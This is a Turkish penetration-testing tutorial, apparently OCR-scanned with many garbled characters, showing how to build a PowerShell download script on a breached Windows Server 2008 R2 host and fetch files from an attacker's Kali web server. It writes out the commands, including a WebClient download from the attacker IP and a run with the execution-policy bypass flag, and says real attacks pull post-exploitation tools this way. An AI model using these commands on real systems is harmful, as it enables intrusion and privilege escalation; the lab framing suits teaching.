Powershell ile Windows Sistemlere Dosya indirme

Normal kullanicilarinn ¢ogu Command Prompt'u (CMD'yi) bilir. Ancak ¢ok az1 powershell'i
duymustur. Powershell Command Prompt'tan ¢ok daha giiglii bir command line interface'idir. Yakin
gelecekte CMD'nin yerini almasi beklenmektedir.

Powershell Windows XP'nin SP2'sinden ve 2003'iin SP1'den itibaren tiim windows versiyonlarinda
mevcuttur. Powershell versiyonlari ve karsilik geldigi windows versiyonlar1 bilgisi icin bkz. https://
4sysops.com/archives/powershell-versions-and-their-windows-version/

Powershell Windows XP SP2 ve 2003 SP'den itibaren tiim windows sistemlerde yer aldigindan
dolay1 bu sistemlere s1zildig1 vakit payload ile sizilan sistemin powershell komut satir1 alinabilir ve
powershell kullanilarak kendi makinamizdaki dosyalari sizilan sisteme indirebiliriz. Boylelikle hak
ylikseltme gibi cesitli islemler yapabiliriz.

Uygulama

(+) Birebir denenmistir ve basariyla uygulanmstir.

Simdi Windows Server 2008 R2 makinasina powershell ile Kali'den dosya ¢ekelim.
Gereksinimler

- Windows Server 2008 R2
- Kali (Eski) //1.0.4

Oncelikle Kali sanal makinasinda apache sunucusunu baslatalim ve apache home dizinine Kali'de
yer alan bir dosyay1 koyalim.

Kali (Eski) Konsol:

> service apache?2 start
> cp deneme.txt /var/www/

Ardindan Windows sistemindeki powershell komut satirindan linux'taki wget'e benzer bir tool
olusturalim.

Windows Server 2008 R2 “Powershell” Konsol:

C:\Users\Administrator\Desktop> echo '$storageDir = $pwd' > wget.ps1
C:\Users\Administrator\Desktop> echo '$webclient = New-Object System.Net.WebClient' >>
wget.psl

C:\Users\Administrator\Desktop> echeo '$url = "http://172.16.3.89/priv-exploit.txt""' >> wget.ps1
C:\Users\Administrator\Desktop> echo '$file = "new-exploit.txt"' >> wget.ps1
C:\Users\Administrator\Desktop> echo '$webclient.DownloadFile($url,$file)' >> wget.ps1

Not: Kirmizi renkli alan Kali IP'si ve Kali'deki dosyadir.

Not 2: Kalin olanlar input'lardur.

Not 3: Baz1 windows versiyonlarinda echo ile dosyaya yazdirilan komut satir1 tirnak
icine alinmalidir. Ancak 6rnegin Windows XP'de alinmas1 gerekmez.



Yukaridaki kodlamalar ile Windows'ta wget.ps1 tool'unu olusturmus bulunmaktayiz. Simdi bu
tool'u kullanarak Kali'deki dosyay1 windows'a indirelim.

Windows Server 2008 R2 “Powershell” Konsol:
C:\Users\Administrator\Desktop> powershell.exe -ExecutionPolicy Bypass

-NoLogo -NonInteractive -NoProfile -File wget.ps1

Boylece Windows Server 2008 masaiistiine Kali'den gelen priv-exploit.txt dosyasi new-exploit.txt
ismiyle yerlesecektir. Bu 6rnekte txt dosyasi sadece transfer isleminin gerceklestirilebildigini
gostermek adina kullanilmistir. Gergek senaryolarda ise zararh exploit'ler kullanilarak sizilan
windows sistemin powershell'i izerinden sizilan sisteme post exploit'ler cekilebilmektedir.
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